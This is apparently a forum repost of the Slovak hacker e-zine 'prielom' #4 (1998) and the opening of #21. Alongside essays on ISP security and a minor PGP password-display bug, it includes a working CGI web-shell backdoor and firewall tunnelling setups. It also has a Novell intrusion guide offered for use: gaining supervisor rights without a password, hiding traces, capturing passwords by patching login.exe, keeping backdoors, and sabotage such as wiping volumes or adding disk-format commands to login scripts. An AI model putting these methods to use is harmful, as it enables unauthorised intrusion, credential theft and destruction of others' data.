cwbe coordinatez:
101
1
102
617302

ABSOLUT
KYBERIA
permissions
you: r,
system: moderated
net: yes

neurons

stats|by_visit|by_K
source
tiamat
K|my_K|given_K
last
commanders
polls

total descendants::64
total children::27
3 ❤️


show[ 2 | 3] flat


maniac0
One Man Bukk...0
e1m10
supermario0
piece_of_IT0
cyberpunker0
2pug6
aqwarel9
cell9
Mittka9
igino.original9
LDuck9
robo9
lubomier.sk9
asebest9
zena v domac...9




0000010100000001000001020061730208640000
maniac
 maniac      30.06.2019 - 19:34:28 (modif: 30.06.2019 - 19:34:43), level: 1, UP   NEW !!CONTENT CHANGED!!


::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #4, 20.3.98, prielom(at)hysteria.sk, http://hysteria.sk/prielom/




obsah









intro



stvrte cislo prielomu prinasa novinku. na konci kazdeho clanku mozes kliknut
na diskusny board, kde mozes napisat otazku, poznamku ci pripomienku k danemu
clanku. autori clankov budu tieto boardy sledovat a odpovedat na pripadne podnety,
tym vznikne nova komunikacna dimenzia tohoto e-zinu a samotny
clanok v prielome bude sluzit ako podklad k dalsim diskusiam na danu temu.


predchadzajuce tri cisla prielomu nemali takuto vymozenost vyventilovat sa na
diskusnom boarde, preto pokial mas nutkanie vyjadrit sa k hocijakemu tematu
z predoslych prielomov, mozes tak ucinit na tomto vydani :)


pokial xcete dostavat e-mailom oznam ked vyde nove cislo prielomu, poslite mejl s textom
"subscribe prielom" na adresu prielom(at)hysteria.sk.


pajka, bratislava, 15.3.98






stroje v internetu



Je nepopiratelne, ze internet v poslednich par letech zaznamenava obrovsky
boom. Ty tam jsou doby, kdy byl zalezitosti ciste akademickou. Dnes ma
server v internetu i kdejaky malir pokoju - a na tom, to stoji a pada.
Vzhledem ke skutecnosti, ze soubor protokolu tcp/ip je stary radove desitky
let, je sama o sobe jeho bezpecnost prakticky nulova a defaultne nainstalovany
linuxovsky server, ktery malirovi prisel rozbehnout jeho kamarad, co
mu vede ucetnictvi v excelu cele veci moc neprida. Vysledkem tedy je stroj,
ktery se vystavuje svetu a vola 'hackni me'. Malir, ani jeho kamarad v
dusledku svych neznalosti, si totiz prakticky vubec neuvedomuji co to vlastne
obnasi 'byt pripojen', zkratka nainstaluje, zapne do 220V a jedem. Otazka
bezpecnosti jde mimo ne. Preci kdo by se zajimal zrovna o muj stroj, kdyz
jsou tu tisice jinych kolem. Skutecnost, ze pri nejblizsim scanu domeny bude
v prvni desitce na cerne listine mu samozrejme nedochazi. Ted samozrejme
mluvim naprosto obecne, bez konkretizace na nejaky OS, i kdyz si treba malir
pozdeji nainstaluje winNT misto linuxu, protoze M$ a jeho agresivni marketing
a reklama verejnosti stale vnucuje myslenku, ze NT je to nejbezpecnejsi co
muze byt a malire okamzite presvedci jeden hezky udelany letak na kridovem
papire, ktery mel dnes ve schrance.



Takto nejspis vypada situace u vetsiny firem. Nu co, nakonec jsou to jejich
informace a jejich stroje a pokud neciti potrebu se o ne v dostatecne mire
starat - resp. administrator, ktery cely den hraje Quake2 jim nejspis vyhovuje,
je to jejich vec. O co vice je vsak situace zalostnejsi, vezmeme-li
v uvahu providery, tedy poskytovatele internetu. Ti uz nejsou odpovedni
pouze za svoje udaje, ale predevsim za udaje svych zakazniku, kteri jim
pravidelne plati mnohdy nemale castky a presto je situace na poli provideru
vetsinou stejna, ne-li jeste horsi. Abych nemluvil stale tak obecne, za
vsechny bych zminil alespon cesnet a lanprojekt, kteri si nejspis uz zvykli
na to, ze svoje servery budou navzdy sdilet s backdoory cZertu.
Situace tedy neni nikterak ruzova a nezbyva nez doufat, ze vedouci pracovniky
v personalnim oddeleni osviti duch svaty a obeznami je s kriterii, ktera
jsou adekvatni pro administratory unixovy a jinych serveru a na patricnych
mistech nebudou sedet jako dosud, pouze ruzni readeri how-to dokumentu, ale
lide, kteri si vyznam sve prace uvedomuji a vedi co obnasi. Potom se mozna
zacne blyskat na lepsi casy.



erixon, erixon(at)hysteria.sk


navrat na obsah

co ty na to ? board






preskakovanie firewallov


Pred zhruba dvoma rokmi nastal v cechach a na slovensku boom firewallov.
Ftedy k nam dorazila (asi s dvojrocnym oneskorenim) sialena modna vlna
Internetu z Ameriky. (poznamka bokom - to dvojrocne oneskorenie trendov
na ceskom a slovenskom internete oproti USA je vlastne take male pravidlo,
ktore som si viackrat overil v praxi. Tuto teoriu som nazval PPPP (tm) :
Pajkovo Pravidlo Postupneho Prielomu. Funguje to tak ze sa staci pozriet na
to co sa deje momentalne v USA na Inete a pripocitat dva roky - a mozete
fascinovat ludi na vecierkoch presnymi predpovedami diania na slovenskom
a ceskom internete. fakt to funguje :)


Nie ze by si vramci toho inetovskeho
boomu ludia uvedomovali potrebu bezpecnosti pocitacovych sieti. To vobec
nie. Za rozsirenie firewallov v nasich podnikoch mozeme dakovat skupinam
ludi ktori este doftedy montovali PCka, predavali kancelarsky software a
tonery do tlaciarni, a ktori zacali (pod nalepkou "data security firma" alebo
nieco podobne, zvycajne trapne anglicky znejuce :)
predavat aj firewally a strasit manazerov
vidinou nejakych imaginarnych skupin sfanatizovanych "hackerov", ktori 24
hodin denne pod vlpyvom heroinu utocia na uctovnicku databazu vaseho podniku.
Takychto firmiciek je ako hub po dazdi a nedivme sa, firewall totiz stoji v priemere
okolo sto tisic korun. Nikto ale vlastne nevie kolko by presne taky firewall
*mal* stat, takze nie je problem nadhodit si na cenu slusnu proviziu.
Naviac sa na Slovensku a v Cechach vacsina firewallovych produktov predava
prostrednictvom exkluzivnych dealerov, ktori maju v moci urcit cenu pre cele slovensko a obcas strielaju od pasa astronomicke sumy.
Bezpecnost je mozno jedna z mala oblasti Internetu kde su momentalne slusne
prachy. Mozno je lepsie pri kupe firewallu pobrowsovat si po Webe a najst si v USA alebo
v Zapadnej Europe firmu ktora takyto software ponuka, ale ktora nema exkluzivne
zastupenie na Slovensku a kupit software priamo od vyrobcu.



Nesnazim sa kritizovat fakt ze pouzivanie firewallov je natolko rozsirene.
Kritizujem fakt ze firewally su take drahe, aj ked sa nejedna o zlozite
programy. Tiez si myslim ze firewally su pouzivane tam, kde to nie je opodstatnene
(napriklad akademicka sfera) a castokrat firewally zbytocne limituju
legitimnych uzivatelov. Problem je tiez, ze z terminu "firewall" sa vyvinulo
magicke slovo, za ktorym si ludia predstavuju genialny nastroj na *dokonale*
zabezpecenie siete. Admin nainstaluje firewall a mysli si ze to ma v suchu.
Tento clanok sa pokusi vyvratit tieto tvrdenia a tiez naznacit moznosti ako
moze legitimny uzivatel ofajcit limitacie firewallov.


V sucastnosti uz azda kazda firma s pevnou linkou na
inet ma aj nejaky ten software na filtrovanie alebo blokovanie trafficu.
Konfiguracie firewallov sa daju zhruba rozdelit do tychto styroch kategorii :



1. Zakazanie "nebezpecnych" portov.



Blbost, vyslovena blbost. Z historickych dovodov sa kategorizuju niektore
porty ako "nebezpecne". jedna sa napriklad o rexec, rlogin alebo rsh. v
dnesnej dobe vsak nie je problem modifikovat tieto sluzby tak, aby sa odstranili
tie vlastnosti, ktore niekto moze pokladat za bezpecnostny nedostatok.
konkretne ide napriklad o pouzivanie trust vztahov (.rhosts a podobne). Na priklad
na Linuxe ktory pouziva PAM Security sa daju tieto sluzby upravit v pam.conf tak,
aby vzdy vyzadovali autentifikaciu cez heslo.


Firewall v takomto pripade neplni ziadne uzitocne funkcie. pokial su zablokovane
niektore vybrane sluzby, akurat to obmedzuje uzivatelov. Potencialny utocnik
si takyto firewall sotva vsimne. Uvediem jeden priklad : robil sa testovaci
utok na jeden stroj v edit.cz domene. Po dosiahnuti root prav sa nadviazala komunikacia
so strojom cez 80 port pomocou backdooroveho cgi scriptu ktory interpretoval
prikazy zadavane cez web browser(backdoory z cgi scriptov mam rad, niet nad
to pochlipkavat espresso v inet kaviarni a zadavat
priamo prikazy na unix server cez Netscape)
. cely cas sa
absolutne nedalo netusit ze na danej sieti sa
nachadza firewall. zistilo sa to az pri pokuse telnetnut sa na port
5002 (inetd backdoor), ktory bol zakazany.


pokial ste zamestnanec takehoto podniku, mozete vychutnat jedinu pozitivnu
stranku tekejto konfiguracie - mozete veselo a neobmedzene surfovat po inete,
spravit si trebars na svojom desktope FTP server, a pod..



2. Zakazanie vsetkych portov okrem vybranych portov



Vacsina konfiguracii podnikovych firewallov spada do tejto kategorie.
Administrator vacsinou zablokuje vsetky porty okrem par vybranych sluzieb,
trebars 25 (smtp posta), 110 (pop posta) a 80 (http web). server ktory
poskytuje spomenute sluzby umiestni za firewall a umozni na neho obojsmerny
traffic. Pokial ste utocnik vonku za firewallom, alebo obmedzeny uzivatel
vo vnutornej sieti, staci ak pouzijete na komunikaciu jeden z otvorenych
kanalov. napriklad pokial chcete nabehnut telnet server na stroji za firewallom,
staci ak zmenite defaultny telnet port z 23 na 80. Alebo pokial chcete, staci
na server vo vnutri siete nahodit takyto cgi script:


#!/bin/sh
/bin/echo -n "Content-type: text/htmnn"
/bin/echo "<pre>n"
$*


a potom mozete zadavat unix prikazy na server zvonku cez hocijaky browser ako
parameter cgi scriptu, napriklad :



http://www.server.sk/cgi-bin/script.cgi?ls+-la+/tmp



To vam spusti a vypise prikaz "ls -la /tmp".

Pokial chcete pouzit zakazanu sluzbu z vnutornej siete, musite ju presmerovat
cez otvoreny port, napriklad cez spominany port 80. Toto docielite pomocou tzv.
redirektorov. ak pouzijete trebars program redir-0.7, ktoreho linux a sun
verzie su na arxive (http://hysteria.sk/arxiv/), treba ho nabehnut niekde vonku
za firewallom tak, aby pocuval na povolenom porte 80 a spojenie presmeroval
na vami pozadovany stroj a port.



Tu je konkretny priklad: vas firewall napriklad povoluje obojsmerny traffic na porte 80, ale
zakazuje spojenie na irc servery, port 6667. Nehorazna nuda v praci a silna
zavislost na IRC vas prinuti uvazovat nad sposobom, ktory by vam umoznil si z prace
spustit irc klient a zabit cas bezduchym tliachanim na nejakom kanali. Staci
ak vonku za firewallom na masine server.vonku.sk nabehnete redir s tymito parametrami :



./redir 80 irc.felk.cvut.cz 6667 &



Potom vam staci nastavit si na vasom klientovi irc server na server.vonku.sk:80.
Vase spojenie pojde cez povoleny port 80 a dostane sa na vonkajsi redirektor, ktory
vsetky data bude posielat dalej na irc.felk.cvut.cz 6667, co je priklad irc
servera.



3. Firewall nepovoluje akekolvek spojenia ktore idu zvonku do vnutornej
siete a zvnutra povoluje spojenia do internetu iba na niektore povolene porty



Toto je vysoky stupen bezpecnosti. Pokial sa napriklad banky alebo vladne
urady pripajaju na internet, volia zvycajne tuto moznost. Pokial pracujete na lokalnej
sieti ktora je takto zabezpecena a xcete si trebars nabehnut zvonka x-term,
alebo pouzit irc - nezufajte. mozete opat pouzit spomenuty redirektor a
presmerovat spojenie cez port, ktory je povoleny.



Druha moznost je pouzit TCP tunel.
Pri tejto metode bezi jeden program na vasej masine, alebo na nejakej
masine vnutri na lokalnej sieti, a druhy program bezi na stroji
vonku na internete. Program vnutri za firewallom sa vola tunel, ten sa spoji s
programom ktory je vonku, ten sa vola portal. Ked sa tieto dva
programy spoja, vytvoria tunel na TCP komunikaciu.



Nazorny priklad :



Goof: tvoja masinka.

Foo : nejaka ina masinka vo vnutri firewallu, alebo ta ista ako "Goof", na nej bezi "tunel"

Bar : stroj na opacnej strane firewallu, bezi "portal"

Boof: masina na ktoru sa chcete finalne pripojit



FIREWALL
tunel ^ portal
######### ^ #########
# Foo #======================# Bar #
######### ^ #########
| ^ |
| ^ |
| ^ |
######### ^ #########
# Goof # ^ # Boof #
######### ^ #########
FIREWALL


sedite na masine Goof a chcete si nabehnut X-kovy program z masiny Boof,
takze si na Boof-e nastavite display premennu na svoj stroj Goof, a nabehnete
X-kovy program, trebars xterm, ale vobec sa k vam nedostane, lebo sa zastavi
na firewalle.



Takze nabehnes tunel na masine Foo a nastavis ho tak, aby sa pripojil na
masinu Bar, napriklad na povolenom porte 7000 (tam bezi portal). Zaroven
nastavis tunel tak aby ti posielal vsetky TCP spojenia ktore idu naspat
z portalu na tvoju masinu Goof na port 6000 (X-Windows). Nabehnes portal
na masine Bar a nastavis ho aby pocuval tunel na porte 7000. Ked je tunel
pripojeny, portal pocuva na porte 6001 na prichadzajuce X spojenia.
Vzdy ked sa nejaka X-aplikacia pripoji na portal, spojenie sa presmeruje
cez tunel, ktory spojenie nasmeruje na masinu Goof, na port 6000.


Na zaver musis nastavit display premennu na masine Boof na Bar:1 (v tcsh
shelli napis 'setenv DISPLAY bar:1, v bash shelli 'export DISPLAY=bar:1'),
co prikaze aplikacii aby pouzila port 6001 (nemozeme pouzit port 6000 ak
bezi na tej masine X-server, ktory uz blokuje port 6000). Nabehni Xeyes a
zazmurkaju ti na obrazovke.



Na tento popisany sposob dokonca nepotrebujete mat nikde ani root prava.
Obidva spomenut programy, tunel a portal, si mozete stiahnut z arxivu
(http://hysteria.sk/arxiv/) (musim to furt opakovat ? :)
tunel a portal maju okrem ineho aj vyhodu ze sa daju skompajlovat na solarise,
irixe, freebsd, hpux a linuxe. Redir 0.7 funguje iba na solarise a linuxe.



4. Firewall nepovoluje ziadne spojenia zvonku ani zvnutra, povolene sluzby
su pristupne iba cez proxy server



Toto je maximalne zabezpecenie. Zakazat uplne vsetko a Web, FTP a trebars Gopher
povolit iba cez proxy server. V takomto pripade ste fakticky odkazani iba na
tieto sluzby, nepomoze vam ziaden redirektor ani tunel. Web je vsak plny sluzieb,
ktore vam mozno umoznia cez browser uskutocnit to, co Vam firewall zakazuje. Mam
na mysli verejne sluzby ktore umoznia cez WWW citat postu z lubovolneho POP servera,
IRC -> WWW interfasy a podobne.



Zaver


Neocakavajte na zaver sebavedome vyhlasenie typu "vidite ? firewally su nanic !".
Nebola by to vobec pravda. Dobre nakonfigurovany firewall dokaze rozumne ochranit
podnikovu siet pred utokom zvonka. Zaroven vsak casto obmedzuje a limituje uzivatelov.
Pri troske sikovnosti a casu vsak nie je problem oblafnut firewall vyssie popisanymi
metodami, predpokladom je vsak vzdy ze mate fyzicky pristup na masiny na lokalnej sieti za firewallom.





pajka


modry bod za popis tuneloveho systemu patri bishnu(at)hotmail.com, pouzil som preklad
jeho clanku z phracku 52. phrack najdete na www.phrack.com




navrat na obsah

co ty na to ? board






Inet na nasej strednej skole



    motto : "... vlastne budte radi, ze internet vobec mate ... "



zaciatok. bola z toho velka radost. zarazilo ma len jedno, preco
by som mal platit, ked skola dostala internet zadarmo, neplati ani
linku a server dostala sponzorskym darom, ale ...


            vid motto

potom prisli prve problemy. musel som podpisat jeden
veeelky shit.
hovoria tomu uzivatelske pravidla. tak som podpisal a dufal som,
ze budem mat konecne od nich pokoj. ale ked mi povedali, co vsetko by som nemal robit - napr.
nadavat v elektronickej poste, tak mi bolo hned jasne, ze od nich pokoj mat nebudem. tak som
sa spytal ako si zistia, ci v poste nadavam. bolo mi povedane, ze ako spravcovia si oni mozu
zistit vsetko, co ich zaujima. zaujimave, ale ...

            vid motto

ked sme uz pri tych zasadach dosti ma prekvapilo, ked spravca siete
ponukal zvysenie quoty ludom, ktory mu daju nejake to licencne chranene
CD. to je sice ako past na oko, ked berieme v uvahu 8 a 7 bod pravidiel
ale, ako sa zda, tak root moze fsetko, ale ...

            vid motto

fascinujuci je tiez sposob obhospodarovania diskovych kapacit. platiaci
studenti maju povolenych 1 MB - teda oficialne. za kazde porusenie
pravidiel, im bude quota znizovana. stahovat si mozeme do /tmp adresara.
hmm pekne, len skoda, ze server je dole priemerne kazdy druhy den a
startovacie scripty temp mazu, ale ...

            vid motto

mame novell server. tam je tiez quota. trochen som sa s nim pohral a
dospel som k zaujimavym udajom. jediny spravca zapratal na disku 217 MB.
co je viac, nez vsetci studenti dokopy. tak som sa pozrel, co tam preboha
ma, a nasiel som napr. 5 MB jeho fotiek (pre istotu boli duplicitne nahrane)
a kopec dalsich debilin, o ktorych tu radsej ani nebudem pisat, ale ...

            vid motto

dalsiu kapitolou je spristupnenie servera z vonku. ak sa chcete dostat do
/etc/hosts.allow, treba sa napchat do riti spravcovi. a aby sa vam to
uspesne podarilo musite byt mile pekne dievcatko, ktore sa vecne podlizuje.
kto nato nema zaludok, ten ma smolu a z vonka sa na server nedostane, ale ...

            vid motto

procesy na pozadi su zakazene. napriklad taky IRC robot udajne nesmierne zatazuje
linku. zaujimave. ked sak pride 10 dievcatiek z odstavca vyssie a sadnu si
a zacnu stahovat obrazocky z BH 900210, ale najnovsie dajake zopar megove
subory z hudbou k titanicu, tak s linkou je to uplne v pohode. potom s tym
shitom este pre istotu zaseru novell server a idu s pocitom dobre vykonanej
prace domov, ale ...

            vid motto

dalsi skvely napad bol zakazat telnet von. skutocne v tomto napade sa snubila
vsetka genialnost a maximalnou inteligenciou. totiz spravca takto nedokazal
vobec nic. teda ja ani neviem, co tym dokazat chcel. asig to, aby vsetci museli
pouzivat len tej jeho krasny server. zaujimava finta. namiesto toho aby zlepsil
uzivatelsku podporu, on pre istotu zakaze telnet vsade inam. klobuk dolu, napad
f skutku originalny, ale ...

            vid motto

a zaver - hmm toto zaver nema. pokial budu informatiku ucit obmedzeny primitivi,
ktory su z toho este cely zakomplexovani a pokial nedostane student nejaku sancu
branit sa, tak moze ist do ...., ale ...

            vid motto

P.S.:

vidim ich... je to 10 blbych diefcat.

jedna je blbsia ako druha... "pan profesor to mate kraasne tricko..."

a uz su na mieste, o ktorom my, obycajny smrtelnici mozeme len snivat ...

sedia si na pentiach, zatial co mi sa tlacime na 386 or 286...

ale verim, ze jedneho dna sa to zmeni...

a ked nie tak nie, ved aj pan profesor musi raz zomriet :>



skratka a jasne



WIWAT S(R)ANET




navrat na obsah

co ty na to ? board






nice pgp bug



Takze mame to tu, PGP 5.0 for windows (commercial version) ma celkom peknu
chybicku. Neda sa povedat, ze by bola nejak zavazna ale je tu, a ja som sa
pekne pobavil.


O co ide, pgp vo verzii 5.0 prichadza s GUI. Holt chybicka se vloudila prave v
tejto casti programu.


Takze podme k veci. V aplikacii PGPkeys sa da velmi lahko menit password k
vasmu pgp klucu tzv. passphrase.(click na key, prave tlacitko, property, change
passphrase). Po kliknuti vybehnu na vas 3 text boxy a jeden check
box, check box urcuje polozku hide typing(fakt nechapem na co to je dobre, kto
to kedy videl pisat si passwordy visible).


Mame zaskrknute hide typing a dame sa do pisania hesla, a tu je zmienena
chybicka, programatori asi riesili hide typing pisanim bieleho textu na biely
podklad a zjavne nemysleli na taku moznost, ze niekoho napadne ten "hide
typing"
selektovat. Cize staci po dopisani hesla stlacit shift+home, prip. to nejakym
inym sposobom selektnut, a vidime co sme napisali.


Podobna chybicka sa vyskytuje aj pri dekodovani pgpcknutych suborov na disku:
*.pgp prave tlacitko PGP->decrypt vypyta si to password a mi piseme
(samozrejme
s "hide typing"). Tu je na tom pgp trochu lepsie, neumozni totiz selektnut ten
text pomocou shift+home ani shift+sipka s5, musime to selektnut mysou a aj to
nie hocijako. Nestaci iba stlacit lavy button a selektovat ale treba ist na to
fintickou. Finticka je nasledovna. Stlacime shift a klikneme mysou na zaciatok
a co sa nam neobjavi, nas password. :-)


Je jasne ze toto nie je velmi zavazny bug.. keby take nieco bolo v nejakom
freewarovom programceku, je mozne ze sa nad tym clovek ani nepozastavi..
ale predsa si uvedomte ze ked je tam tento bug moze tam byt aj omnoho zavaznejsi..
a to by v takom softwari ako je PGP nemalo byt.


JeboZLesa

navrat na obsah

co ty na to ? board






novell 101


takze toto tu je vlastne navod ako pouzit programy, ktore su
na
http://hysteria.sk/novell.
necakejte tu teda dajaky siahodlhy rozbor hackovania novellu - na to
su ine readmiz ( napriklad ten prvy v sekcii readmiz - nwhack.rar ),
ja budem podla moznosti veelmi strucny.


i) ako sa dostat dnu



Predpoklad 1. : Mas pristup ku konzole

takze potom nemas velmi vela prace - stiahni si burglar.rar, rozbal,
nahraj na disketu, pridi ku konzole, strc disketu do konzolovej
mechaniky, prepni na prikazovy riadok (zacina ":" a medzi jednotlivymi
obrazovkami sa prepina pomocou - a + klaves ( 3.12 ) a ALT + ESC
( 3.11 ), to prepinanie je nutne, lebo na konzole vacsinou bezi
monitor (soft monitorujuci siet), moze tu vsak byt ten problem, ze
konzola je chranena setricom, ktory pozaduje supervisorske heslo, v
takom pripade hop smola, ale musis skocit na Predpoklad 2.) a napis
"load a:burgral.nlm ktosi". (a: to je meno mechaniky, kde je disketa,
moze to byt samo aj b:) nasledne nato je vytvoreny ktosi, kto ma
supervisorske pravo. prv nez odides od konzoly, tak je dobre vycistit
obrazovku prikazom "clear" a prepnut do povodnej obrazovky. je dobre
tiez potom resetovat server (to sa nenapadne robi dosti tazko), lebo
loadovanie modulov sa loguje. ale da sa predpokladat, ze ked konzolu
nechas v tom stave ako bola, teda prepnes na povodnu obrazovku, tak
si admin nic nevsimne. ked si takto schoval vsetky stopy, tak staci
len prist k hociktorej stanici, nalogovat sa ako ktosi ("f:login
ktosi") a bez hesla mas supervisora.


Predpoklad 2. : Mas pristup len ku stanici

no tak toto je uz horsie. pozri si teraz stanicoviny na novellackom
archive. k cielu sa teraz mozes dopracovat niekolkymi sposobmi. prva
moznost je brute force, teda typovanie hesiel - aj to je moznost. ak
je vsak zapnuta funkcia "intruder detection", tak sa moze stat, ze
napriklad po 3. neuspenom pokuse je uzivatelsky ucet zablokovany
(teda aj ked napises spravne heslo, tak sa dnu nedostanes) a teda
admin sa to coskoro dozvie. ked toto nie je zapnute mozes skusit
nejaky program ktory tieto utoky automatizuje - napriklad lsrip.rar.
veelkou nevyhodou novellu je jedna skutocnost, ze sa hesla NEDAJU NIJAK
DEKODOVAT. totiz neexistuje nieco like a /etc/passwd. ale je tu vsak
jedna moznost. novell, ked je pripojeny k inetu, tak vacsinou
sprostredkuva spojenie lokalnym pocitacom a sam vsetko adresuje na
nejaky unix (linux), ktory mu tvori branu do sveta. a kedze tento
linux bude na 95 percent spravovany tymi istymi ludi ako novell, a
clovek je tvor lenivy, tak sa da predpokladat, ze budu mat na linuxe
a novelly rovnake hesla. na linuxe z toho okamzite vyhodu nemas, ale na
novelly budu mat tito ludkovia urcite supervisorsku eq., co ti vlastne
otvori branicku do sveta. takze len treba dekodovat hesla :)). a ma to
este jedno pluz - novellacke hesla nje su case sensitive, teda je jedno
ci napises "lamer" alebo "LaMeR".


dalsou moznosto ako hacknut novell zo stanice, je pouzite programov,
ktore vyuzivaju slabiny v prenosovom IPX protokole. jedna asi o to, ze
program patricne upravi hlavicky paketov, aby vyzerali ako keby isli z
pocitaca, na ktorom je prihlaseny supervisor. da to to tiez tak, ze sa
upravi prerusenie ktore pouzivana novell tak, aby uvadzalo inu adresu
pocitaca. su na to programy novhack.zip, nw-hack.zip a nwrsh.zip.
tie prve dva pozaduju aby bol na hlaseny supervisor a az potom rozbehnu
svoju cinnost. urobia to, ze pridaju vsetkym existujucim uzivatelom
supervisorsku eq. pri sietach s velkym poctom uzivatelov to utvori
peknu paseku :)).nw-hack.zip tiez zmeni supervisorske heslo na
"SUPER_HACKER". trochu z ineho sudka je ta posledna jutilita. totiz
nepozaduje superuzivatela, staci ked jej zadate niekoho, kto je
prave nalogovany a ma supervisorsku eq. (zisti to jutilita view.zip)
a uz zapracuje, treba skusit.


dalsia moznost je pekne kostrbata. je to popisane v nwhack.rar.
nebudem sa tym velmi zaoberat, lebo nutnostou na jej fungovanie je to,
ze supervisor NESMIE mat login script (teda v adresari MAIL1 nesmie
byt subor "login"). ak to tak je tak potom sa da vyuzit nadherna finta,
totiz skupina everyone ma implicitne pravo na vytvaranie sub. do MAIL
vratane podadresarov. ked teda supervisor nema login script, mozeme mu
ho elegnatne vytvorit a tak napriklad nainstalovat propa, alebo vymazat
cely disk skratka vsetko naco ma supervisor prava. kto takuto vec
objavil na "svojom" servery, nech konzultuje nwhack.rar.


ii) ako dnu zostat.


predpokladam, ze sa vam podarilo nejak prepracovat k supervisorskej
eq. teraz ale stojite pred problemom ako si ju udrzat.


security.exe

toto je velmi neprijemna vec. ma vlastne kontrolovat zapezpecenie
siete. prejde vsetkymi uzivatelmi a zistuje ci dany uzivatel ma heslo,
ci nema prilis vysoke prava (supervisorske pravo k zvazku SYS) atd.
skratka ak to admin pusti a vy mate vytvoreneho nejakeho uzivatela,
ktory (ten ktosi :))) ma supervisorsku eq. tak uz ako keby ste ho
nemali. takze treba siahnut po nejakej lepsej metode. totiz idealna
metoda je kompromisom v sikovnosti prace s nou (lognutie sa na uzivatela
so super eq. bez hesla) a medzi bezpecnostou tejto metody (staci jedno
security.exe a je to f prdeli). jednym z moznych rieseni je
zachytavanie hesiel. totiz takto si v podstate nechytitelny a vzdy ked
potrebujes, tag sa lognes na dajakeho jusera s super eq. a urobis co
treba. idealnou metodou je pouzitie programu prop.rar. teda patchnutie
login.exe. postup je na stranke + f readmi, ktore je s programom.
jedna poznamocka k tomuto. je velmi dobre predtym ako prepises
login.exe pozriet si vsetky informacie o povodnom (owner suboru, datum
vtvorenia, posledneho editovania etc.) pomocou jutility filer, zapisat
si dolezite udaje a po prepisani to vsetko nastavit do povodneho tvaru.
riziko sa tym podstatne znizi.


dalsia metoda je switchable super eq. umoznuje ti to program super.zip.
riziko je tu to, ze security.exe pri uzivatelovi takto upravenom zatrubi
na poplach s hlaskou, ze uzivatelsky zaznam dotycneho nje je v poriadku.
hlaska ktoru zavesi je presne citovana v readmi, ktore je v zipe.


a na zaver jedny elegantne zadne dvierka z parkerovej kuchyne. ked mame
supervisorske pravo tak pridame skupine everyone pravo na modifikovanie
a citanie suborov (+MR -modify, read) v adresari MAIL. tymto tahom
mozes modifikovat login script kazdeho usera.a tak sa v pohode dostanes
dnu, ked ta vymknu. staci len patricne editovat login script spravneho
uzivatela, aby spustal potrebne programy. napriklad propgram tempsup.exe
- vytvorenie superuzivatela bez hesla, ktory musi byt spusteny zo
supervisorskeho uctu.


iii) trochu "srandy".


hmm. ked uz visite v novelly velmi dlho, nje od veci trochu "sprijemnit"
adminom zivot. takze zopar akcii, po ktorych ich bude chvilku riadne
boliet hlava :))



zmazanie vsetkeho, co je nejakom zvazku - namapujte si dotycny zvazok
(prikaz map, alebo sa to da urobit aj cez session) a pouzite nasledne
dosovksu jutilitku deltree.


zablokovat logovanie juserov - dve moznosti su tu. pouzit fconsole,
alebo jednoducho zmazat adresar LOGIN.


odpojit uzivatela od servera - potrebujes samozrejme super eq. a potom
fconsole a Connection informations, potom sa nastavis na obet, stlacis
DEL a potvrdis enterom. jedna neprijemna vec - odpajanie sa loguje do
system error logu.


reboot servera na dialku - nutne je tu supervisorske heslo. ked ho mas,
tak pekne spustis rconsole a po jeho napisani sa dostanes na obrazovku
konzoly (preto Remote CONSOLE). potom napises (do prikazoveho riadka
samo) "remove dos" a nasledne "down" a je to.


editovanie login scriptov inych uzivatelov - mozes im tam pridat rozne
motivacne hlasky, or rovno prikaz na format pevneho disku stanice, z
ktorej sa nahlasili.



enjoy


ice, ice(at)hysteria.sk



navrat na obsah

co ty na to ? board





0000010100000001000001020061730208639998
maniac
 maniac      30.06.2019 - 19:32:12 (modif: 30.06.2019 - 19:32:44), level: 1, UP   NEW !!CONTENT CHANGED!!

::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #21, 12.9.2003, prielom(zavinac)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro



posledne cislo prielomu #20 spravilo vdaka clanku o telekome slusny rozruch (prielom #20 mal 37000 hitov). par krat som
sa pristihol ze lutujem, ze sme to vobec pustili do sveta. vdaka rozhovoru v SME som mal kusok stres v praci, reakcie
okolia boli zmiesane. medzi najnechutnejsie zazitky patri to ze na byt mojej mamy zazvonila nejaka pani, ktora tvrdila
ze sa chce so mnou skontaktovat koli tomu, ze jej nejaki hackeri cez internet sposobuju popaleniny na tele. aj ich
ukazovala. este dodnes obcas telefonuje, ze sa chce stretnut. brutal.



ale stalo to za to. telekom udajne posilnil zabezpecenie svojich systemov a zlepsil podmienky svojim zamestnancom ktori
prevadzkuju stonline. myslim ze sa nam tiez podarilo kusok napravit mienku slovenskej verejnosti o hackeroch. coraz
viacej ludi vnima hackerov ako ludi, ktori jednoducho zistuju ako vsetko funguje, experimentuju, objavuju nove veci a
vzapati sa so svojimi poznatkami podelia. telekom by vam sam odseba nepovedal o tom ze maju derave systemy. ani ked sa
im to sukromne oznamilo nic nespravili. 3uhorky nespachali ziadnu skodu, len upozornili na to ze by niekto skodu pachat
mohol a ukazali ako. diery v telekomackej sieti by tam boli aj bez 3uhoriek. budme radi ze im tam chvilu pobehovali
mladi neskodni chalani a nie niekto, kto by tie diery mohol vyuzit pre svoje ucely - komercne, spionazna, ci
ktovieake.. tuzba spoznavat nove horizonty a otvorenost voci svetu su dva zakladne piliere hackerskej etiky. hackeri
nerobia zle veci, len objavuju mozne problemy v informacnych systemoch a informuju o nich svet.



v tomto duchu sme sa rozhodli v tomto cisle zverejnit informacie o fungovani SK-NICu. top-level domena celeho slovenskeho internetu je prevadzkovana amatermi na
